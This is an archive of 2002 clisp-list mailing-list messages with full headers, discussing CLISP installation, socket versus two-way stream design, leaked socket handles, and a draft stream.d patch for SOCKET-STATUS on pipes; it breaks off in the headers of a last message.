CMU Common Lisp documentation http://web.mclink.it/amoroso/ency/README [http://cvs2.cons.org:8000/cmucl/doc/EncyCMUCLopedia/] From samuel.steingold@verizon.net Fri Jan 11 06:41:33 2002 Received: from smtp005pub.verizon.net ([206.46.170.184]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16P2s7-0003mC-00 for ; Fri, 11 Jan 2002 06:41:31 -0800 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by smtp005pub.verizon.net with ESMTP ; id g0BEfM720709 Fri, 11 Jan 2002 08:41:23 -0600 (CST) To: "Gail L. Lange" Cc: Subject: Re: [clisp-list] installing clisp References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 31 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.1.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Jan 11 06:42:07 2002 X-Original-Date: 11 Jan 2002 09:41:20 -0500 > * In message > * On the subject of "[clisp-list] installing clisp" > * Sent on Thu, 10 Jan 2002 17:58:08 -0500 > * Honorable "Gail L. Lange" writes: > > You responded: > > you are using the hard-coded desktop location which is correct for > winnt but wrong for w2k. > this was fixed on 2001-08-16. > please use the CVS () to get the current version > of install.lisp and try again. > ******************* ***************************************** > NEW QUESTION: > > So I went to this link and from there Project Home CVS browsing (there > was no other place that seemed appropriate) but I found nothing. So > how do I use CVS to get the current version of install.lisp -> CVS browsing -> clisp -> src -> install.lisp -> HEAD (download) -- Sam Steingold (http://www.podval.org/~sds) Keep Jerusalem united! Read, think and remember! The only intuitive interface is the nipple. The rest has to be learned. From samuel.steingold@verizon.net Fri Jan 11 07:10:35 2002 Received: from out002pub.verizon.net ([206.46.170.102]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16P3KE-0002PL-00 for ; Fri, 11 Jan 2002 07:10:34 -0800 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by out002pub.verizon.net with ESMTP ; id g0BFAMd18553 Fri, 11 Jan 2002 09:10:24 -0600 (CST) To: Todd Sabin Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] socket-streams vs. two-way streams References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 58 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.1.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Jan 11 07:11:11 2002 X-Original-Date: 11 Jan 2002 10:10:20 -0500 > * In message > * On the subject of "Re: [clisp-list] socket-streams vs. two-way streams" > * Sent on 10 Jan 2002 23:19:09 -0500 > * Honorable Todd Sabin writes: > > I haven't looked at db-sockets much yet, but from what little I > understand of it, I think it's got the right idea. I.e., just expose > the socket api calls to lisp, and then build on top of those in lisp. > In clisp, that would mean adding a new gc'd lisp object, Socket, and > functions socket, bind, setsockopt, accept, ioctl(!), connect, etc. > and some stuff for resolving names. Then you have to add something > like cmucl's make-fd-stream which gives you a stream from a > SOCK_STREAM socket. This is _not_ how this is done in CLISP. CLISP is "high-level" and "cross-platform". The functions you mention are "low-level" and "unix-specific". If you really want to build upon all these calls, you _already can_ do it in CLISP on Linux as it is distributed - just build ./configure --with-module=bindings/linux6. and use the full image. (this exposes _all_ libc calls to lisp, in package LINUX) what? you mean you want these on non-Linux platforms? Okay, add a bindings module for your platform, or, better yet, create a cross-platform LIBC module which will work uniformly on all flavors of UNIX. You know better than I do how all these low-level things differ in, say, BSD, Solaris, and Linux. Good luck there. Note that it really _is_ easier to add a module than to put what you want into the CLISP core functionality. > people who want to (like me) can get grungy with the low level stuff. try "clisp -K full -x '(apropos "" "LINUX")'" > I was just getting the impression that you didn't want the stuff, even > if _I_ implemented it, which was puzzling. There is some design philosophy behind CLISP. There are things I do not want there, no matter what (e.g., crashes :-). Other things are better off in modules, not in the base (e.g., bind(2)). CLISP is _not_ for everyone (sadly). If you think you want to tinker in Assembly, CLISP is not for you. (But I will strive to convince you that you actually do _not_ want to do Assembly :-) If you want high performance floating point computations, CMUCL is a better choice, there is nothing I can do here. OTOH, if you want to write in a high-level language, opening sockets as easily as files and handling them in a uniform manner, CLISP is your friend. -- Sam Steingold (http://www.podval.org/~sds) Keep Jerusalem united! Read, think and remember! A clear conscience is usually the sign of a bad memory. From haible@ilog.fr Fri Jan 11 08:57:25 2002 Received: from sceaux.ilog.fr ([193.55.64.10]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16P4za-0000op-00 for ; Fri, 11 Jan 2002 08:57:23 -0800 Received: from ftp.ilog.fr (ftp.ilog.fr [193.55.64.11]) by sceaux.ilog.fr (8.11.6/8.11.6) with SMTP id g0BGtaQ10512 for ; Fri, 11 Jan 2002 17:55:36 +0100 (MET) Received: from laposte.ilog.fr ([193.55.64.65]) by ftp.ilog.fr (NAVGW 2.5.1.16) with SMTP id M2002011117571203893 ; Fri, 11 Jan 2002 17:57:12 +0100 Received: from honolulu.ilog.fr ([172.17.4.243]) by laposte.ilog.fr (8.11.6/8.11.5) with ESMTP id g0BGvCD28363; Fri, 11 Jan 2002 17:57:12 +0100 (MET) Received: (from haible@localhost) by honolulu.ilog.fr (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) id RAA24473; Fri, 11 Jan 2002 17:54:11 +0100 From: Bruno Haible MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15423.6323.262729.596965@honolulu.ilog.fr> To: sds@gnu.org Cc: Todd Sabin , clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] socket-streams vs. two-way streams In-Reply-To: References: X-Mailer: VM 6.72 under 21.1 (patch 8) "Bryce Canyon" XEmacs Lucid Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Jan 11 08:58:05 2002 X-Original-Date: Fri, 11 Jan 2002 17:54:11 +0100 (CET) > > Is there a reason why socket-streams are not real two-way streams? Because the input part and the output part of the socket-stream are not independent: After closing one of them, the other one would be nonfunctional (because its C 'SOCKET' has been closed). > > Then buffered sockets, at least, work as you would expect. At least, > > in my two minutes of testing :). What is wrong with buffered socket streams as they are implemented now? Bruno From samuel.steingold@verizon.net Fri Jan 11 09:04:10 2002 Received: from out004pub.verizon.net ([206.46.170.104]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16P568-0002aB-00 for ; Fri, 11 Jan 2002 09:04:08 -0800 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by out004pub.verizon.net with ESMTP ; id g0BH3vC14625 Fri, 11 Jan 2002 11:03:58 -0600 (CST) To: Todd Sabin Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] socket and pipe streams leak handles if not explicitly closed References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 19 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.1.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Jan 11 09:05:02 2002 X-Original-Date: 11 Jan 2002 12:03:50 -0500 > * In message > * On the subject of "[clisp-list] socket and pipe streams leak handles if not explicitly closed" > * Sent on 10 Jan 2002 23:19:01 -0500 > * Honorable Todd Sabin writes: > > the socket server handle is closed, but the client socket handle is > not. The same is true for streams obtained from socket-accept and all > flavors of pipe streams. Unless they are explicitly closed, the > handles are lost during gc. Thanks for the bug report and the patch. I committed a it with minor changes. It appears to fix the bug. -- Sam Steingold (http://www.podval.org/~sds) Keep Jerusalem united! Read, think and remember! If you want it done right, you have to do it yourself From samuel.steingold@verizon.net Fri Jan 11 09:54:57 2002 Received: from [206.46.170.236] (helo=pop009pub.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16P5tJ-0000pw-00 for ; Fri, 11 Jan 2002 09:54:57 -0800 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by pop009pub.verizon.net with ESMTP ; id g0BHslBL028063 Fri, 11 Jan 2002 11:54:47 -0600 (CST) To: Todd Sabin Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] socket-streams vs. two-way streams References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 26 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.1.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Jan 11 09:55:05 2002 X-Original-Date: 11 Jan 2002 12:54:37 -0500 > * In message > * On the subject of "Re: [clisp-list] socket-streams vs. two-way streams" > * Sent on 10 Jan 2002 23:19:09 -0500 > * Honorable Todd Sabin writes: > > > > Also, is there a reason that it should only work with socket-streams? > > > Wouldn't it be a good thing for it to work on pipe-io-streams, too? > > > (Perhaps it already does, I haven't checked.) > > > > please do check. i believe it should work. if it doesn't - send a > > patch. > > It doesn't work. It complains that it's not a socket-stream. No > patch at the moment, maybe later. please note that select() is a socket-specific syscall on win32, so you cannot pass just any handle to it. if you can make it work - great! for now, listen works with pipes as expected. -- Sam Steingold (http://www.podval.org/~sds) Keep Jerusalem united! Read, think and remember! You can have it good, soon or cheap. Pick two... From samuel.steingold@verizon.net Fri Jan 11 13:47:58 2002 Received: from out003pub.verizon.net ([206.46.170.103]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16P9Wn-0008CN-00 for ; Fri, 11 Jan 2002 13:47:57 -0800 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by out003pub.verizon.net with ESMTP ; id g0BLllG08617 Fri, 11 Jan 2002 15:47:50 -0600 (CST) To: Bruno Haible Cc: Todd Sabin , clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] socket-streams vs. two-way streams References: <15423.6323.262729.596965@honolulu.ilog.fr> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <15423.6323.262729.596965@honolulu.ilog.fr> Message-ID: Lines: 29 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.1.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Jan 11 13:48:05 2002 X-Original-Date: 11 Jan 2002 16:47:29 -0500 > * In message <15423.6323.262729.596965@honolulu.ilog.fr> > * On the subject of "Re: [clisp-list] socket-streams vs. two-way streams" > * Sent on Fri, 11 Jan 2002 17:54:11 +0100 (CET) > * Honorable Bruno Haible writes: > > > > Then buffered sockets, at least, work as you would expect. At least, > > > in my two minutes of testing :). > > What is wrong with buffered socket streams as they are implemented > now? (setq s (socket-connect 80 "www.gnu.org" :external-format :dos :buffered t)) (format s "GET / HTTP/1.0~2%") (finish-output s) (socket-status s) ==> :output i.e., there is nothing to be read from the buffered socket S. this is why (I think) Todd wants to separate the input and output streams of the sockets: he thinks that after he closes the output stream, the input will become available. (I don't think this is the case since the buffering is done by CLISP, not the TCP/IP stack or OS). -- Sam Steingold (http://www.podval.org/~sds) Keep Jerusalem united! Read, think and remember! An elephant is a mouse with an operating system. From tas@webspan.net Fri Jan 11 17:05:20 2002 Received: from ool-43518593.dyn.optonline.net ([67.81.133.147] helo=jetcar.qnz.org) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16PCaL-0008TZ-00 for ; Fri, 11 Jan 2002 17:03:49 -0800 Received: (from tas@localhost) by jetcar.qnz.org (8.9.3/8.9.3) id UAA02681; Fri, 11 Jan 2002 20:03:30 -0500 X-Authentication-Warning: jetcar.qnz.org: tas set sender to tas@jetcar.qnz.org using -f To: Bruno Haible Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] socket-streams vs. two-way streams References: <15423.6323.262729.596965@honolulu.ilog.fr> From: Todd Sabin In-Reply-To: (Sam Steingold's message of "11 Jan 2002 16:47:29 -0500") Message-ID: Lines: 44 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Jan 11 17:06:11 2002 X-Original-Date: 11 Jan 2002 20:03:30 -0500 Sam Steingold writes: > > * In message <15423.6323.262729.596965@honolulu.ilog.fr> > > * On the subject of "Re: [clisp-list] socket-streams vs. two-way streams" > > * Sent on Fri, 11 Jan 2002 17:54:11 +0100 (CET) > > * Honorable Bruno Haible writes: > > > > > > Then buffered sockets, at least, work as you would expect. At least, > > > > in my two minutes of testing :). > > > > What is wrong with buffered socket streams as they are implemented > > now? > > (setq s (socket-connect 80 "www.gnu.org" :external-format :dos :buffered t)) > (format s "GET / HTTP/1.0~2%") > (finish-output s) > (socket-status s) > ==> :output > > i.e., there is nothing to be read from the buffered socket S. > this is why (I think) Todd wants to separate the input and output > streams of the sockets: he thinks that after he closes the output > stream, the input will become available. > (I don't think this is the case since the buffering is done by CLISP, > not the TCP/IP stack or OS). I hadn't noticed this particular behavior, but it also seems wrong, doesn't it? The problem I have with buffered sockets is on the server side, not the client. There's no way a server can use buffered sockets, because it's totally impossible to read a client's requests unless they happen to terminate on 4K boundaries (or the client closes his end of the socket with shutdown(2) before receiving a reply). And, as I said before, I don't really care much about buffering on input, but you can't buffer on output unless you also buffer on input, and I do care about buffering on output. I really don't care that much about whether sockets are two-way streams, or not. It just seemed like a natural way to expose more functionality, without getting too "low level". Todd From tas@webspan.net Fri Jan 11 17:07:37 2002 Received: from ool-43518593.dyn.optonline.net ([67.81.133.147] helo=jetcar.qnz.org) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16PCdz-0000pV-00 for ; Fri, 11 Jan 2002 17:07:35 -0800 Received: (from tas@localhost) by jetcar.qnz.org (8.9.3/8.9.3) id UAA02684; Fri, 11 Jan 2002 20:07:28 -0500 X-Authentication-Warning: jetcar.qnz.org: tas set sender to tas@jetcar.qnz.org using -f To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] socket-streams vs. two-way streams References: From: Todd Sabin In-Reply-To: (Sam Steingold's message of "11 Jan 2002 12:54:37 -0500") Message-ID: Lines: 27 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Jan 11 17:08:17 2002 X-Original-Date: 11 Jan 2002 20:07:28 -0500 Sam Steingold writes: > > * In message > > * On the subject of "Re: [clisp-list] socket-streams vs. two-way streams" > > * Sent on 10 Jan 2002 23:19:09 -0500 > > * Honorable Todd Sabin writes: > > > > > > Also, is there a reason that it should only work with socket-streams? > > > > Wouldn't it be a good thing for it to work on pipe-io-streams, too? > > > > (Perhaps it already does, I haven't checked.) > > > > > > please do check. i believe it should work. if it doesn't - send a > > > patch. > > > > It doesn't work. It complains that it's not a socket-stream. No > > patch at the moment, maybe later. > > please note that select() is a socket-specific syscall on win32, so you > cannot pass just any handle to it. > if you can make it work - great! I don't think this is a (clean) way to make it work on win32. Would you take a patch which makes socket-status work on pipe streams on linux/unix only? Todd From tas@webspan.net Fri Jan 11 17:37:35 2002 Received: from ool-43518593.dyn.optonline.net ([67.81.133.147] helo=jetcar.qnz.org) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16PD70-0006F1-00 for ; Fri, 11 Jan 2002 17:37:34 -0800 Received: (from tas@localhost) by jetcar.qnz.org (8.9.3/8.9.3) id UAA02732; Fri, 11 Jan 2002 20:37:28 -0500 X-Authentication-Warning: jetcar.qnz.org: tas set sender to tas@jetcar.qnz.org using -f To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] socket-streams vs. two-way streams References: From: Todd Sabin In-Reply-To: (Sam Steingold's message of "11 Jan 2002 10:10:20 -0500") Message-ID: Lines: 30 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Jan 11 17:38:01 2002 X-Original-Date: 11 Jan 2002 20:37:28 -0500 Sam Steingold writes: > > I haven't looked at db-sockets much yet, but from what little I > > understand of it, I think it's got the right idea. I.e., just expose > > the socket api calls to lisp, and then build on top of those in lisp. > > In clisp, that would mean adding a new gc'd lisp object, Socket, and > > functions socket, bind, setsockopt, accept, ioctl(!), connect, etc. > > and some stuff for resolving names. Then you have to add something > > like cmucl's make-fd-stream which gives you a stream from a > > SOCK_STREAM socket. > > This is _not_ how this is done in CLISP. > CLISP is "high-level" and "cross-platform". > The functions you mention are "low-level" and "unix-specific". > > If you really want to build upon all these calls, you _already can_ do > it in CLISP on Linux as it is distributed - just build > ./configure --with-module=bindings/linux6. > and use the full image. > (this exposes _all_ libc calls to lisp, in package LINUX) Aha! Well, the socket stuff isn't currently defined in there, but I guess you'd suggest adding it? > what? you mean you want these on non-Linux platforms? No, not really. Linux only would be fine with me. :) Todd From tas@webspan.net Fri Jan 11 17:48:10 2002 Received: from ool-43518593.dyn.optonline.net ([67.81.133.147] helo=jetcar.qnz.org) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16PDFe-00072l-00 for ; Fri, 11 Jan 2002 17:46:30 -0800 Received: (from tas@localhost) by jetcar.qnz.org (8.9.3/8.9.3) id UAA02754; Fri, 11 Jan 2002 20:44:54 -0500 X-Authentication-Warning: jetcar.qnz.org: tas set sender to tas@jetcar.qnz.org using -f To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] socket-streams vs. two-way streams References: From: Todd Sabin In-Reply-To: (Todd Sabin's message of "Fri, 11 Jan 2002 20:07:28 -0500") Message-ID: Lines: 7 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Jan 11 17:49:02 2002 X-Original-Date: 11 Jan 2002 20:44:54 -0500 Todd Sabin writes: > I don't think this is a (clean) way to make it work on win32. Would Err, meant, "I don't think _there_ is a ..." Todd From samuel.steingold@verizon.net Sat Jan 12 07:09:37 2002 Received: from out007pub.verizon.net ([206.46.170.107]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16PPmq-0001y9-00 for ; Sat, 12 Jan 2002 07:09:36 -0800 Received: from xchange.com (pool-151-203-224-58.bos.east.verizon.net [151.203.224.58]) by out007pub.verizon.net with ESMTP ; id g0CF9SN15213 Sat, 12 Jan 2002 09:09:29 -0600 (CST) To: Todd Sabin Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] socket-streams vs. two-way streams References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 27 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.1.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Jan 12 07:10:03 2002 X-Original-Date: 12 Jan 2002 10:09:13 -0500 > * In message > * On the subject of "Re: [clisp-list] socket-streams vs. two-way streams" > * Sent on 11 Jan 2002 20:37:28 -0500 > * Honorable Todd Sabin writes: > > Sam Steingold writes: > > > CLISP is "high-level" and "cross-platform". > > The functions you mention are "low-level" and "unix-specific". > > > > If you really want to build upon all these calls, you _already can_ do > > it in CLISP on Linux as it is distributed - just build > > ./configure --with-module=bindings/linux6. > > and use the full image. > > (this exposes _all_ libc calls to lisp, in package LINUX) > > Aha! Well, the socket stuff isn't currently defined in there, but I > guess you'd suggest adding it? sure. add whatever you want to bindings/linuxlib6, test it, make it work well, &c. I will take it. -- Sam Steingold (http://www.podval.org/~sds) Keep Jerusalem united! Read, think and remember! Linux - find out what you've been missing while you've been rebooting Windows From samuel.steingold@verizon.net Mon Jan 14 11:05:22 2002 Received: from out004pub.verizon.net ([206.46.170.104]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16QCQ4-0001sN-00 for ; Mon, 14 Jan 2002 11:05:20 -0800 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by out004pub.verizon.net with ESMTP ; id g0EJ4xC26913 Mon, 14 Jan 2002 13:05:01 -0600 (CST) To: Todd Sabin Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] socket-streams vs. two-way streams References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 71 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Jan 14 11:06:03 2002 X-Original-Date: 14 Jan 2002 14:04:51 -0500 > * In message > * On the subject of "Re: [clisp-list] socket-streams vs. two-way streams" > * Sent on 11 Jan 2002 20:07:28 -0500 > * Honorable Todd Sabin writes: > > Sam Steingold writes: > [reagrding SOCKET-STATUS & pipe streams] > > > It doesn't work. It complains that it's not a socket-stream. No > > > patch at the moment, maybe later. > > > > please note that select() is a socket-specific syscall on win32, so you > > cannot pass just any handle to it. > > if you can make it work - great! > > I don't think this is a (clean) way to make it work on win32. Would > you take a patch which makes socket-status work on pipe streams on > linux/unix only? sure. note that the following trivial patch is no good: Index: src/stream.d =================================================================== RCS file: /cvsroot/clisp/clisp/src/stream.d,v retrieving revision 1.249 diff -u -w -b -r1.249 stream.d --- src/stream.d 2002/01/11 18:00:42 1.249 +++ src/stream.d 2002/01/14 18:51:05 @@ -14831,7 +14831,26 @@ if (socket_server_p(obj)) { if (check_open) test_socket_server(obj,true); return TheSocket(TheSocketServer(obj)->socket_handle); - } else { + } + #if defined(PIPES) && defined(UNIX) + #ifdef PIPES2 + else if ((TheStream(obj)->strmtype == strmtype_twoway) && + (TheStream(TheStream(obj)->strm_twoway_input)->strmtype + == strmtype_pipe_in) && + (TheStream(TheStream(obj)->strm_twoway_output)->strmtype + == strmtype_pipe_out)) { # bidirectional pipe + # assume output is always possible, check only input + obj = TheStream(obj)->strm_twoway_input; + goto pipe; + } + #endif + else if (TheStream(obj)->strmtype == strmtype_pipe_in) + pipe: + return (SOCKET)TheHandle(TheStream(obj)->strm_ichannel); + else if (TheStream(obj)->strmtype == strmtype_pipe_out) + return (SOCKET)TheHandle(TheStream(obj)->strm_ochannel); + #endif + else { obj = test_socket_stream(obj,check_open); return SocketChannel(obj); } first, both input _and_ output must be checked second, for some reason it doesn't work :-) I would _really_ prefer a cross-platform patch. OTOH, if you want to go "UNIX-only", note that it should work with any FD-based stream then, including terminal streams, arbitrary two-way streams (as long as their components are acceptable to SOCKET-STATUS), broadcast streams &c. -- Sam Steingold (http://www.podval.org/~sds) Keep Jerusalem united! Read, think and remember! Of course, I haven't tried it. But it will work. - Isaak Asimov From abramson@aic.nrl.navy.mil Mon Jan 14 13:26:58 2002 Received: from sun0.aic.nrl.navy.mil ([132.250.84.10]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16QEd4-0000vP-00 for ; Mon, 14 Jan 2002 13:26:54 -0800 Received: from sun23.aic.nrl.navy.mil (sun23.aic.nrl.navy.mil [132.250.84.33]) by sun0.aic.nrl.navy.mil (8.9.3+Sun/8.9.3) with ESMTP id QAA29456 for ; Mon, 14 Jan 2002 16:25:20 -0500 (EST) Received: (from abramson@localhost) by sun23.aic.nrl.navy.mil (8.10.2+Sun/8.10.2) id g0ELP9F02880; Mon, 14 Jan 2002 16:25:20 -0500 (EST) To: clisp-list@lists.sourceforge.net Reply-To: mabramso@gmu.edu From: myriam Message-ID: Lines: 16 User-Agent: Gnus/5.0808 (Gnus v5.8.8) Emacs/20.7 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Subject: [clisp-list] build question Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Jan 14 13:27:03 2002 X-Original-Date: 14 Jan 2002 16:25:09 -0500 Hi! Building clisp on Solaris 8 does not run on Solaris 7 and craps out with this error: ld.so.1: lisp.run: fatal: libnsl.so.1: version `SUNW_1.7' not found (required by file lisp.run) Did I miss a configuration parameter? TIA -- myriam From samuel.steingold@verizon.net Mon Jan 14 13:48:58 2002 Received: from out002pub.verizon.net ([206.46.170.102]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16QEyO-0007Mc-00 for ; Mon, 14 Jan 2002 13:48:56 -0800 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by out002pub.verizon.net with ESMTP ; id g0ELmfd22360 Mon, 14 Jan 2002 15:48:42 -0600 (CST) To: mabramso@gmu.edu Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] build question References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 15 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Jan 14 13:49:05 2002 X-Original-Date: 14 Jan 2002 16:48:27 -0500 > * In message > * On the subject of "[clisp-list] build question" > * Sent on 14 Jan 2002 16:25:09 -0500 > * Honorable myriam writes: > > Building clisp on Solaris 8 does not run on Solaris 7 and craps out > with this error: why did you think this might work? -- Sam Steingold (http://www.podval.org/~sds) Keep Jerusalem united! Read, think and remember! Computers are like air conditioners: they don't work with open windows! From abramson@aic.nrl.navy.mil Mon Jan 14 14:25:20 2002 Received: from sun0.aic.nrl.navy.mil ([132.250.84.10]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16QFXa-0001xZ-00 for ; Mon, 